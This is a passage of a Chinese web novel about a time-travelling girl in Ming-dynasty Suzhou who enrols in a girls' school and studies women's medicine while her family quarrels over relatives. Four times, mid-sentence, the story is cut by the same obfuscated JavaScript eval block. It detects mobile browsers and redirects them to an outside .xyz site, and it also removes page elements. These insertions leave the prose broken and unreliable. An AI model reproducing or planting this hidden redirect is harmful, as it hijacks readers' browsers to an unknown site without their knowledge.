乔姨母是姊妹中最有钱的,她送了一盆青花瓷器皿的富贵竹,一套描金边的瓷器,声量最高,几位舅母姨母也都捧着她说话。 乔家是苏州府的大户,家中直系亲属虽然没有做大官的,但是远亲中也是出过布政使方伯这样的人物。乔姨母的大伯子做着海商,专运生丝瓷器出海卖,回来再运珠宝香料,如此倒腾一番,怎么都大赚一笔,那位乔大老爷还是长洲县的生员。 而乔姨夫也不差,虽然是童生,但已然捐了监,有了监生的身份,在苏州开着两间钱庄。故而,乔姨母上身穿着青地牡丹加金锦的大襟衣裳,底下配着打着细褶绣着折枝花的马面裙,就连鞋尖上的云头履上都镶嵌了一颗珍珠。 更别提溜光的盘髻上插着红珊瑚翡翠簪子,底下一圈璎珞围着,珍珠步摇在她说话时颤动不已,手上带着翠镯,衬的手腕如羊脂白玉。 她正声音洪亮的指点道:“大姐姐,你也该添置几个丫头了,难道姐夫这点钱也不肯出?” 其余的梅家女眷也都附和,梅氏和乔姨母并不同母,在娘家时就关系一般,她早听说乔妹夫是秦楼楚馆的常客,家里纳了好几房小妾,外头还有平妻,生意人都是这般的。所以,某种程度,她又觉得自己嫁的可以,毕竟徐二鹏为人正直,又能干,还有才,她在夫妻感情上是比妹妹有优越感的。 同时,看在乔姨母也送的贺礼来,她并不觉得自卑,只是笑:“等铺子挣钱了再说,家里还欠着钱呢。” 乔姨母见梅氏这样坦然,倒也不好多说什么了,若是梅氏扭捏点,肯定就又会被比着。但她逡巡一番,又见到妙真:“真姐儿读书了吗?” 妙真道:“已然上了两年半的学了。” 却见乔姨母笑道:“你姨夫从杭州府请了一位女先生,原本也是大户人家出身,尤擅诗词,如今刚学,你若是刚学,倒是能一处做个伴。” 乔姨母这话言不由衷,她只是为了显摆,并非真的让妙真去学,所以妙真笑道:“姨母好意我心领了,我爹还说等过一阵子,再跟我找一位先生呢。” 小姑娘们都不爱往大人堆里凑,索性妙真起身带着堂姊妹还有两位舅家表妹去自己绣楼上,从柜子里拿了两碟果馅点心、一碟银丝糖、一碟柑橘出来,招呼大家吃。 舅家两位表妹年纪小,都拿着点心和糖吃起来,妙莲也拈了颗银丝糖吃,唯独妙云不吃。妙真见她害羞,就道:“大姐姐,你不爱吃吗?要不要尝尝这果馅点心。” 妙云这才用手帕托起来,小口的吃着,她也不过和自己一般大的年纪,妙真从她身上竟然看到了优雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020532|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 要说今日徐家乔迁之喜,众人吃饱喝足后,留下一地狼藉,全都是梅氏丰娘,甚至是徐二鹏亲自收拾的。 即便如此,一家人也开心,总算有自己的宅子了。 徐二鹏是个很务实的人,他四月拿到拿到的几个月的润笔费一共五十多两,全部留着不动,就怕出什么意外,到时候支应不出去。 因此书坊开业一个月,妙真家里也没有请别的下人,每日饭食都是梅氏和丰娘一起准备的,妙真帮忙在灶膛烧火。 她爹也用省下来的钱买了不少雕版,初入这行,慢慢开始才知道,除非新书请人刻,有一些旧书其实都已经有雕好的木版,便宜还好用。 一款雕版印工可以印上千次到万次,所以前期投资雕版上还是很有必要的,这可不,七月马上就是中元节了,佛教各种经典他都刊印出来,有竹纸版本这种最便宜的,也会带雕画用棉纸板的会稍微贵一些。 往年一年拼命写,最多也不过百来两银子,这次不过从五月卖到八月,就已然赚了一百多两了。 赚了钱后,徐二鹏也不吝啬,帮家里买了一个灶上丫头叫芋香的,花了六两银子,又跟梅氏添了两个丫头金钗银环,这两个都是三两五钱银子,再有妙真身边也买了两个丫头小喜、小桃,俱是三两五钱的。 如此方有了小户人家的样子,梅氏每日只用带坚哥就好,粗活细活都有人做。 妙真一个现代人,有下人专门贴身服侍还不习惯,但很快也腐败了,小喜和小桃年纪都比她大两岁,会梳头洗衣服,帮忙端茶递水,如今一来,她也节省不少时间专门研读医书。 徐二鹏一直也在观察女儿,见她即便没去余秀才那里读书,也依旧每日练字读书,还把自己让她背的《妇人良方大全》《丹溪心法》《拔萃方》都大致能够背下五成,这才觉得女儿有毅力,愿意为她寻一良师。 在他看来,人都各自有活法,如果家贫,就学些针黹女红,也算是一门手艺活,这在苏州也吃香。如果小有家资,那选择性就多了,可以多学些别人没有的东西。 自然,读书针黹也不能忘却。 就像他写话本子有天赋,但也不能就一辈子指望这个。这样即便他不写书了,有秀才的身份帮人写状纸、开馆都是可以的,甚至买几亩薄田,还能免税,怎么样都能过活。 所以,他希望女儿能够把女红学问做好,再习一门医术,东边不亮西边亮。 故而,买丫头剩下来的钱,他没有添置家具,而是帮妙真在仇娘子开的女学里读书,一年十两的束脩,是余秀才那里十倍不止。 但是听闻那仇娘子会教六艺,还会教规矩,也算值得了。 再有他们夫妻帮妙真做了一套新衣裳,又让梅举人带着去拜师,一起去了本府名医陶定国府上,陶定国之父也是名医,尤其擅长伤寒科,其妻茹氏也是出自名医世家,擅长女科。 茹氏原本是不答应的,这明代学医,一般有两种,一种是家族世代为医,即便三吴和安徽的女医,都是家族亲属教授,约莫有七成的女医都是家学渊源,茹氏的侄女就跟着她在学,还有一种则是自学成才,很多是文人科举不成,自学成医的也有,但这样的人不过一二成。 只是茹氏见到妙真时,见她言谈伶俐,眼眸清亮,不禁问起:“你可读过书?” “已经读过两年半了,后来我说我想学女科,为我娘亲治病,也是为我们女子争气。好些医婆药婆不会把脉,不会开方,只会购置丸药糊弄病人,让天下人愈发觉得女医不入流。故而爹爹买回来的《难经》《脉诀》《素问》回来,我也通晓其义,只求夫人多教我。”妙真道。 茹氏见她这般说,也有意要考较一番:“诸风掉眩,主什么?” 妙真脱口而出:“诸风掉眩,皆属于肝。” “《灵枢》中胞中疾病是什么?” “是石瘕。” 在一旁的梅氏见女儿回答问题,自己的心都吊在嗓子眼上,亏得女儿回答了两道都对了,但茹氏继续问:“寒厥主症是什么?” 妙真笑道:“是四肢逆冷。” “若是治疗六腑的咳病当取哪儿?” “当取合穴。” 正当妙真以为茹氏还要问时,却见茹氏笑道:“你怕不怕下针,怕不怕吃苦?” 妙真迅速摇头:“不怕。” 她知晓茹氏这般问就是要收她为徒了,果然,茹氏对梅氏道:“你们徐门养了一位好女子啊。” 5. 家事 徐二鹏贼精明,早就在青花骡车里备好了拜师的礼物,两只鹅、一篓鸡蛋、两尺青绢、一刀纸,一部新书、丁香二钱。 茹氏还有一位也从她学医的女弟子,约莫十二三岁的模样,打扮得很入时,白纱衫外面罩着丁香色焦布比甲,底下着一件金枝线叶沙绿拖泥裙,头上梳着堕马髻,戴着合髻花翠,眉目秀丽,观之可亲。 “这是我内侄女惜娘,平日也在我这里习得一些手艺。”茹氏介绍道。 妙真忙上前与她行礼,惜娘避过身子,只笑道:“咱们日后就是同门师姐妹了。” 这惜娘人看起来有距离感,声音却是憨憨的,妙真笑着喊了声师姐,倒把她喜的解下身上的香囊赠送。 妙真当即收下,才在蒲团上给茹氏磕头,算是正式拜人做师傅。 又因妙真平日上女学,每日申时正(下午三点)散学后过来,酉时三刻回家,每一旬休息一日,这一日便是从早上就过去。 约定好了日子,徐家一家人在宴请梅举人,梅举人穿着一身道袍,挂着半百的胡须,倒是颇有仙风道骨的模样。 梅举人席间请他们去梅家过节,只徐二鹏陪笑:“小婿自是想去,但中秋时,大哥那边接了爹娘我们一起过去。” 如此,梅举人也不好劝。 等他老人家酒吃的醉醺醺,徐二鹏让伙计亲自送他回去。 妙真要等中秋过后正式去女学,去陶家学医也是中秋后,现下难得三五日闲暇,仿佛像是暑假最后几天,自然要疯玩几日。 八月正是乡试之期,徐二鹏早让印工印了正副考官和十八房考试官的文章出来售卖,有些二道贩子,只为了赚些差价,早早就到书房订购书籍,再拿去贡院府学县学等地方摆摊售卖。 另外还有一种是在船上卖书的,也叫织里书船,这些人也是到金阊之地进货。 这些人就跟海里捞鱼似的,总有几个到儒林书坊买书,徐二鹏也算是小赚了一笔,饭桌上正和梅氏说起:“正好进了二两银子,虽然也算不得多,但多来几遭,我也高兴。” 妙真叹道:“爹爹为了女儿,这次出了好些银钱。” “那也没几个钱,只是你要把本领学到,比什么都好。”徐二鹏不介意。 妙真想他爹本来就是写话本子的人,思想比较开放,若是在别家,哪里会这般培养女儿? 用完饭,隔壁马太太过来了,马家是写真馆的,明朝的写真就是画像,专门替人家画像。马家门脸是两层楼,一楼平日也兼些裱画的生意。仇娘子就是赁的她家朝南的一个院子做女学,这个女学就是这位热心的马太太推荐的。 “徐太太,过几日我们有个茶会,就开在黄花荡,也不知道你愿不愿意来?” 大明一朝,有许多人平日省吃俭用,就为了出去游玩一趟,苏州人甚至以不旅游为耻,这样的茶会便是妇女们交游的方式。平日便是小家婢女,都是大门不出二门不迈的,只有茶会、香会才有机会。 据说山东还有专门的香客,一起去武当山进香的。 梅氏也很动心,但是她无奈道:“我家那个小哥儿离不得人,如今又还在吃奶,等她大些了,我再和你们一处去吧。” 马太太也不恼,只笑道:“那好,日后等你家哥儿大些了,咱们再一处去。” 梅氏忙笑着应下。 马太太又说起中秋后仇娘子开馆的事情:“她和别人不同,别的那些先生只会之乎者也,她也不知道怎么教的,我家女儿以前说话声音跟蚊子似的,如今也敢人前说话,大方了许多。” 梅氏吩咐人上了松萝茶来,也是问起:“我听说这仇娘子原本是个尼姑还俗的,可是真的?” “确实如此。她本是仕宦人家出身,诗词歌赋无所不精,琴棋书画无所不知,还做得一手好的女红,又擅长庖厨,我就吃过她炒的香蕈,舌头都差没吃掉。只可惜守了望门寡,便在那荷花荡旁边建了家庙。后来那庙失了火,偏她原先许的那家人已经迁到京中,她就还俗了,还俗之后,就在知府老爷府上做厨娘,后来知府升迁走了,她便赁了我家的屋子开馆。”马太太道。 梅氏双手合十,连声道:“阿弥陀佛,有这样的人物教我们家真姐儿,我就放心了。” 马太太一扬帕子,言语里对仇娘子很是推崇:“可不是,我听说她原是按照大户人家主母培养的,就连管家理事算账也是懂的。” 虽然还没和仇娘子深交,梅氏听得这一席话,已经是有些迫不及待了。 不料,又听马太太道:“只是因为仇娘子束脩收的高一些,原先纸马铺的魏家太太把女儿送来这里读了三天,又心疼钱,闹着要退钱。退了后,又见别人家的姑娘学的好好的,嫉妒的很,就到处说什么女孩儿该三从四德,在家不出门才安分,你说,还有这样的人。” 妙真想有些人就是这样坏,就跟她以前出去做家教,疫情期间,把一个高中生辅导的进步挺大,指望期末考试考出个好成绩,偏有的家长觉得自己孩子在家听网课成绩差,就去教育局举报了,那一年期末考试直接取消了。 梅氏听了“啧啧”两声。 见梅氏赞同,马太太有了听众,也不忘标榜自己:“这姑娘家还是识文断字的好些,如今家里有几个闲钱的,谁会让自家女儿成一个目不识丁的人?说句不该的话,将来就是嫁人也好些啊。” 这话梅氏也很赞同:“是啊。原先我们有邻居,就是这般,不让女儿读书,也不让女儿学绣花,一问就是怕女儿嫁去了人家家里,好了人家。” 两位娘说的起劲,妙真一听扯到婚嫁上了,赶紧告退了。 她这么一出去,马太太看到她步履轻盈,脚下却是天足,立马道:“你家女孩儿怎么没有缠脚?” “她爹爹不许,况且我也觉得疼。”梅氏不以为意。 马太太笑道:“这和我家一样了,我家玉兰也是他爹疼着,索性放开了。” 中秋时节,三叔家的做了不少巧果点心,因此生意极好,城里乡下来买的人络绎不绝,这一个月几乎每天都三两的流水,除了祖父母在这里帮忙外,还另外请了三个伙计,其中一个伙计还是三婶包氏的娘家侄儿。 徐二鹏提了两只卤鸭,一个大西瓜,还有两盒红菱角过来。 在一旁的徐四娘见二哥家出入都是驴车,那青花驴看着就健壮,二嫂梅氏和侄女妙真都穿着簇新的衣裳,后面还跟着几位下人,艳羡的不成,当即就过去和徐老太耳语一番。 她们刚到,大房的徐大郎就带着妻女一道过来了,妙云过来和妙真说话,妙真见她头上的一枝银镀金的蝴蝶簪,忙夸“好看”。 妙云笑道:“这是别人送给我的。” 听黄氏正和梅氏道:“我现下正接了个活计,上门教一位副千户大人的千金女红,那家夫人是个极心善的人,又喜我们妙云伶俐,也让妙云与我一起去她家住着。送了她几样首饰衣裳,爱的什么似的。” 黄氏接着又说那家夫人原本出自名门,一举一动如何不同。 大家都对妙云的奇遇很羡慕,倒是徐二鹏心想大哥的女儿和大哥一样,总有贵人相助,自己倒是没那样的好运气,若是他也有贵人相助,至少一定要考中举人,即便不做官,也是缙绅。 都在羡慕大房,妙真却往角落一看,见大房只提了一个小西瓜,两兜毛豆过来,心里有数了。 人到齐之后,今日是徐三叔掌勺,他烧的一手好菜,桌上卤鸭、烧鸡、炸鱼,又有几道凉菜,两样汤,倒是满满一大桌。 照旧是大人们一桌,小孩子一桌。 桌上正听徐老太对徐二鹏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020533|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“家里总是忙碌,也没恁多功夫管四娘,我想让四娘跟着去你家住几日,让你媳妇教她做做针黹如何?” 徐二鹏心里冷笑不已,大嫂都做绣花娘了,娘不找大嫂,倒是找自己娘子。他笑道:“娘,我家的小哥儿才半岁多,正是要人带,四娘来做什么,也没人照顾她。” “她大了,也不必你们照顾,妙真不是有两个丫头伺候吗?就让四娘和妙真睡。”徐老太还觉得自己安排的很妥当。 妙真一听就不愿意,且不说徐四娘有红眼病,再有她来了自己的空间被占了。 偏徐老太还特地问妙真:“二丫头,你说让你姑姑去陪你玩儿怎么样?你一个人住着不害怕么?” “不害怕,我中秋过了就要上学了,姑姑去了,也只有她一个人在。”妙真忙道。 徐老太听了很是尴尬,此事就自然不了了之了。 徐四娘也生气了,桌上桌下都不理妙真,妙真也不需要她理,总有一种人是我弱我有理,看别人过的好,就觉得别人的东西理所应当给她的。 用完饭后,都还没拜月走月亮,徐二鹏要急着回去写话本,径直带着家人上了马车。 等回到家里他才私下对妻子道:“若她来了,又不知生多少事端,让四邻看笑话。咱们女儿出那么些钱上女学,往来的也是小富之家,若是被她掉了底子,别人多少鄙夷说不得的。” 他曾经就深有体会,小时候,他爹娘还开不起米店,只是在人家米店做搬工,同窗们问了他如实说了,结果被鄙夷了两年。 梅氏微微点头:“这倒也是。”她素来也听丈夫的话,家里现下看着不错,其实还欠债,她们负担长女已然不容易,那小姑子见着什么要什么,不给反倒是生怨怼,还让邻居们说她们小气。 又听徐二鹏道:“这还是小事,就怕说是小住,然而天长地久的住下来后,兴许还在咱们家发嫁,嫁妆也让我们出。这就不是一笔小钱。我早已打算等债还完了,帮真姐儿攒一笔厚嫁妆,给她添点妆可以,全然让我做冤大头却是不行。” 这话梅氏就不好接了。 徐二鹏冷笑:“二老帮三弟从早辛苦到晚,是一文钱也没有孝敬的,上回说帮四娘要买纺织机,原也该是三弟买,又怕包氏发脾气,成日同我说,我见他们可怜就买了,几十两银子,就我自己嚼用,也要用两三年了。当时,我也想四娘有这么个纺车,好歹能自己存些钱,长远看咱们也轻松些,不曾想她眼皮子那样浅,做事又拈轻怕重,算是我看错了她。” 他在徐四娘的事情上吃了教训,即便是亲生女儿,也是看妙真是真的能够持之以恒的,考察了大半年才同意送她去学医术。 另一边徐老太安慰着徐四娘:“不去就不去,也没什么了不起的,欠了一屁股债,也不知道还能住几天,神气什么。” 说罢拿着一瓤西瓜给女儿,徐四娘平日也没什么零嘴吃,她的布纺的一般,也卖不出去几个钱,还得攒着买些花儿朵儿戴。 这样又鲜又甜的瓜,她也很难吃到。 吃着瓜,气焰也下去些。 在外听墙根的包氏这时候走了进来,她晃着肩膀,只是笑:“娘,妹妹,今儿二哥过来,又是坐着那大叫驴的车,又是几个丫头小厮,真真是好生气派。我看她们附近住的人家也不一般,若是妹妹能住在那里,定然能许一户好人家。娘,您也老实,二哥顾忌二嫂,你老人家把人送去,终归是一家子呢。” 听了这话,徐老太若有所思。 深夜,小喜和小桃把妙真去女学的衣裳熨烫了,挂在架子上。 妙真装了两个书袋,一个书袋是女学用的,另一个书袋是去陶家用的。装好之后,抬头透过窗户,见窗外的月亮又大又圆,她忍不住握拳给自己加油,明天肯定会是一个好的开始的! 6. 第 6 章 仇娘子的小院在马太太家的后院,单独开了一个角门,院子不大,中间一口井,两旁摘种的石榴树,树荫遮着的是一偏厢,用作厨房和女红间,听马太太说她这里还教人庖厨女红。 东厢房廊檐下摆放着几盆白玉兰,在炎热的初秋,看了仿佛能降燥似的。 门口挂着一层斑竹帘和几串风铃,风吹起时,会发出清脆的声音。 妙真想这位仇娘子应该是一位很懂生活情趣的人,如此想着,见一位三十余岁的妇人从里屋走出来,她穿着浅紫色的葛衫,外面罩着白色绣金桂的比甲,底下露出乳白色的膝裤,模样极清秀,看起来就带着一股书香气。 且听梅氏上前道:“仇娘子,我送女儿过来。” 仇娘子看了过来,她凝神看向妙真,这女童上身穿浅绿色对穿交,底下陪着一条粉色马面裙,梳着三小髻,用红头绳缠住,面目虽然算不得惊艳,但一双眼眸很出众,瞳仁很黑,还发着亮光,自带一种慧黠。 她忍不住点头,“好,看起来倒像是个聪明孩子。” 梅氏陪笑:“还要您多费心。” “这您放心,我肯定用心教的。对了,书带了么?我们现下开始讲四书了?”仇娘子说后面那段话时看向妙真。 妙真连忙点头:“已然带了。” 仇娘子让梅氏回去,又把她领了进来,里面已经坐着四位女童了,年龄和自己相仿。她先她们互相厮见,妙真连忙先介绍自己:“小妹是金阊儒林书坊主的女儿,姓徐,名唤妙真。” 马玉兰是先前就认识的,另有三人,打头的是汪榭,她家里开的绸缎铺,今年十一岁了,她肌肤微丰,鼻子微微有些塌,但整个人看起来很清丽,妙真想她是自己见过最好看的塌鼻子还好看的姑娘了。 再有开扇铺的林小小,和自己年纪一样,只是似乎有些病弱,脸色有些苍白,人看起来也有些局促。 最末的是童监生的女儿童盼儿,她咧开大大的笑容。 众人见完面,安排座位就有些尴尬了,别人都是两两一桌,唯独她落单了,妙真倒是不在意,就在最后一排坐下。 她泰然自若的把书拿出来,仇娘子和余秀才照本宣科不同,她讲的更详实,还会拓展,妙真就会专门做笔记。 仇娘子见状忍不住点头,姑娘们普遍来说都很珍惜读书的机会,所以很认真,这位新来的徐姑娘也是个聪明好学的就好。 因为是插班进来的,她们前面都已然学了两篇了,等课间时,妙真主动找汪榭借笔记抄,汪榭连忙把自己的书给她,还道:“你有不懂的,只管问我好了。” “多谢汪姐姐了。”妙真前世上学,因为父母离异的缘故,转了四五次学,所以她插班很有经验,一开始不必非要融入一个团体,而是先把学业弄上去。 正誊写笔记时,不妨坐在她前面的童盼儿转过身看她写字,还道:“你的字儿写的真好看,我的字儿写的不好,我娘说我是狗爬字。” 妙真想在余秀才那里字儿倒是真的写好了,且还都是标准的馆阁体,她这一手字还是很拿的出手的。 中午上完课,仇娘子两个丫头送了饭菜来,竟然都是素食,但样子很好看,素烧鹅,其实是用薄薄的一层豆腐皮包着山药,上面撒了几粒青瓜粒做点缀,再有一道茶香竹笋,清爽可口,再配上一碗豆汤饭,很是美味。 学费是一年十两,饭食和其余杂费每月差不多要收三到五钱,仇娘子虽然准备的是素食,但很用心。 下午原本要上书画课,但是妙真不知道,没带画笔颜料来,她当即改为茶道课。 她们每人桌上都放着一小撮茶叶,仇娘子教她们怎么泡茶,又道:“今日喝的是松萝茶,这是绿茶,滋味鲜嫩,喝完后还回苦。那么这样的茶就得搭配甜一些的茶点,就像是绿豆糕、虎丘糕、鲜花饼搭配都可。” 妙真暗地里都记下来了,她爹时常要招待客人,自家都是贫家出身,若是规矩不懂就不好了。 甚至仇娘子还专门让她们去厨房一起做糖霜饼,这是妙真从未体验过的,用木杵子在石臼里把炒熟的松子仁、核桃仁碾碎成泥,再把冰糖也用小磨子磨成糖粉,把这三样混合一起放入梅花模子里,成型之后直接拿出来吃,甚至都不用蒸。 东西做完,这一天的课也就结束了,妙真觉得非常轻松好玩。 人真是奇怪,她在现代没有家的,也因为频繁转学,没什么同学朋友,相反到了古代却有一对极好的父母,女学的同学也都很友好。 散学后,她来不及回家,就得让车夫赶车去陶家。 正好今日做了糖霜饼,她和丫头们一人用了几块,还有一些用油纸包着,到时候给茹氏吃。 小喜问妙真:“小姐累不累?” “不累,下午跟玩儿似的。”妙真托腮笑。 她到陶家的时候,茹夫人已经准备好了,妙真想女子一般有成就者,似乎都很守时自律,甚至办起事情来都格外让人信服,仇娘子是这样,茹夫人也是这样,早就准备好了一本《脉诀》。 “我呢,先教你把脉,你会背是一回事,但真正是什么样的,还得自己去体悟。” 妙真虽然有基础,但这次完全当自己是重新听一样的,左右手的寸关尺,分浮沉,辨虚实、辨长短、算急缓,最后辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020534|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉。 对于妙真这样算不得天才的人来说,做笔记是最好的方式,茹氏在讲,自己一边把脉,一边记下。 学的差不多了,妙真拿出糖霜饼道:“老师,这是我亲手做的饼,虽然现在有些冷了,请您尝尝。” 她还怕茹氏拒绝,没想到茹氏连忙收下,还道:“我家里就生了两个儿子,又没个女儿,还没人这样孝敬我呢。” 妙真听她说完,也很高兴:“那徒儿有空再做给您吃。” 茹氏要留她用饭,她却道:“今日头一日来您这里,家里爹娘还等着我回去,请您见谅。” 从茹氏处出来,她就先回家了,家里晚饭很丰盛,烹的牛肉,宰的鸡,饭桌上妙真说起今日一天的收获,都是笑着的。 徐二鹏对梅氏道:“咱们女儿中午都吃的素,晚饭你吩咐厨房要做些荤菜才是。” 梅氏连忙应是。 妙真又把自己在学里学到的什么绿茶该配什么点心说给家里人听,徐二鹏听了暗自记在心中。 很快半个月过去,妙真一早就奔女学去,她和林小小关系最好,林小小虽然身子骨弱了些,但是学问很好,是真的教会她东西,且二人还能时不时说些心里话。 她因为住的近,来的最早,丫头们先帮她把书摆好,方才回去。这时候林小小和马玉兰过来了,林小小正道:“方才我还打算去你家等你,见你家门口一个穿着邋遢的老太太牵着一个姑娘站着问我路呢。” “啊?”妙真还疑惑的很。 林小小道:“她们应该是你们家亲戚,这也没什么,我们家前几天还有乡下亲戚过来打秋风呢。” 林小小家的扇店是祖父时就传下来的,他爹继承祖业,把林家扇业发扬光大,只一条,林小小家里只有她一个女儿。 家里钱一多,又只有一个女儿,就不少人打着吃绝户的心态。 就像妙真家里,为何梅氏总低包氏一头,包氏霸占公婆做事,似乎也是理所当然,就是因为包氏先生下儿子了。 林家既有钱,家里又只有林小小一个,早就是族人眼中一块肥肉,谁想想啃几口。 却说这儒林书坊门口站着的一老一少也不是别人,正是徐老太和徐四娘,徐老太还正嘱咐女儿:“你把你那性子收一收,好好哄着妙真那丫头几日,到时候你也有人伺候。况且,妙真年纪还小,到不了谈婚论嫁的地步,到时候你二哥挣的钱也该拿些出来给你做嫁妆,我们年纪大了,许多事情也周应不了。” 这徐四娘渐通人事,想着在枫桥那憋仄的楼房住着,出门都起灰,再看眼前的大宅子,她定了定神,自己可一定要留下。 7. 先礼后兵 今日《大学》讲最后一篇,过几日就开始讲中庸了,若说在余秀才那里稍微识文断字,在仇娘子这里就要学会诗词歌赋。 就像现代,你认识了字,还要学会写作文,写文章。 上午还让大家临了半个时辰的字帖,下午便是拿了花谱出来,教她们绣花。仇娘子教的是正宗的苏绣,先照着花谱描样子,再拓在绣件上,她们在绣的时候,仇娘子都会指点一二。 妙真想仇娘子是真的样样精通,可自家大伯母虽然也是绣花娘,又说做女塾师,可她见过大伯母绣的东西,远远不及仇娘子,甚至自己说的有一句成语,她似乎也听不懂。 像苏州吴县本来就是苏绣起源,几乎是家家养蚕,户户刺绣,大家平日跟着自己的娘多少会劈线拿针,即便不会的,看着大家都会,自己也能慢慢琢磨。 叶子用套针绣,花朵儿正抢反抢针,她是先绣了十天的叶子,慢慢进步了,方才开始绣花的。 她们这些初学者都是绣这种大的色块,轮廓清楚,颜色不繁复的,等这方帕子绣完,妙真又去了陶家,正好看到陶家两位公子,陶家大公子年方十八就已经是秀才了,脸生的很俊秀,个头却不高,正在苏州府府学读书,二公子却不好读书,但生的高挑英俊,二公子只比大公子小一岁,却高一个头。 “徐姑娘来了。”他们俩和自己打招呼。 妙真笑着应是,又赶紧去找茹氏,茹氏那里正好有位病人,便让她帮忙记医案。 记录医案原本一直是茹惜娘的活计,但今日听闻她出门去了,便是妙真在记。这也是她头一次记,很是认真,毕竟你就是在现代找个导师教你临床的一些注意事项都不容易。 找茹氏看病的是长洲县县令的女儿,姓黄,咳嗽喘息到无法卧床,发烧恶寒,脉沉而滑,舌苔白腻,是寒气内伏,外感风邪,如此阻碍肺气升降。 故而先用小青龙汤散内里寒气,能温肺平喘,再结合瓜蒌半夏薤白汤,主治痰浊胸阻之症,只开了一剂药。 对于妙真而言,记医案也是学习的一种方式,茹氏不仅仅只医妇科,别的科也都通。 茹氏又把妙真写的方子看了看,忍不住点头,短短半个月,已经写的很规范了。送走黄小姐,茹氏拿了一本《药性赋》跟妙真足足讲了一个时辰,这是中医启蒙经典读物。 别看她先前背《黄帝内经》那些,但是要真正学好,就得打好基础。 还好妙真在现代也是从《中医基础理论》这些开始学的,所以上手也比旁人要快,茹氏夸她:“我教别人三五个月的,教你一个月恐怕就差不多了。” “老师哪里话,都是老师教的好。”妙真其实觉得还是要沉下心来学。 茹氏又拿了两罐蜂蜜给她,说是人家送的,一罐是胡枝子蜜,一罐是正冬蜜,一小罐差不多二两五钱重,这都是上品,妙真连忙谢过老师,方才告辞。 却说等妙真离开了,茹氏便跟身边人吐槽茹惜娘:“人家家里送束脩送钱在我这儿学,她倒好,总想着偷懒。” 在驴车上时,妙真还同两个丫头道:“这两罐蜜,正冬蜜听说是朝廷的贡品呢,我送去上房给爹娘,胡枝子蜜留着平日调蜜水吃。” 她的两个丫头里,小喜耳有反骨,性情自有一股傲气在,但人胜在聪明,小桃人憨厚些,不擅长应对,但对于自己说的话几乎是一板一眼都去执行。 小喜不免道:“那样的好的冬蜜,姑娘不若用家里的小瓷瓶装一些送去,各自留一半尝点多好。” “这倒也是。”妙真含笑应是。 三人说笑一番,她还在车里给她们俩把脉,等到了家之后,进门来,正好碰上丰娘子,见到她就努嘴。 “怎么了?”妙真不解。 “小姐过去就知晓了。”丰娘子撇嘴。 等妙真到上房,才知晓徐老太和徐四娘一并来了,难得徐四娘还笑吟吟的道:“真姐儿回来了,家里准备了烧鸡呢。” “祖母,小姑姑。”妙真喊了一声。 又见梅氏出来道:“真真,快来用饭,你爹马上也要来了。” 妙真坐了下来,心道徐四娘难道还是要住自己家?真是阴魂不散。三叔连买自家两间房的银钱都只给了二三两,人早就搬进去住了,现下徐家的房子也算得上大了,怎么还要来? 嘀咕着的时候,徐二鹏过来了,他先问妙真:“今日学到哪里了?” “今日把《大学》最后一章讲完了,仇娘子说,还要用半个月把《中庸》一并说完,之后再开始学《论语》。”妙真道。 徐二鹏微微颔首:“上回我问过仇娘子,她是教《易经》的,你旁的不提,让她一定要把梅花易数教给你。” 学医的人如果把梅花易数学通,自然就再好不过了。 这些对于徐老太和徐四娘跟听天书似的,徐二鹏也心知肚明,对他而言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020535|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他教养自己的孩子这正常,平日也可对妹妹多关照几分,但是真的送过来,让哥嫂养着,这万万不可。 徐老太此时却被吃食吸引了,她在老三家里的时候,老三家的不大会做饭,都是她做的,饭菜只是能煮熟的水平,二房却是烧的糯藕淋的红糖,咸香的烧鸡,煎的油汪汪的豆腐,还有香干水芹肉沫烘的一钵饭,很是香。 正吃的香的时候,听徐二鹏问起:“您来这儿,大哥知道吗?” 徐老太疑惑道:“同你大哥说什么。” 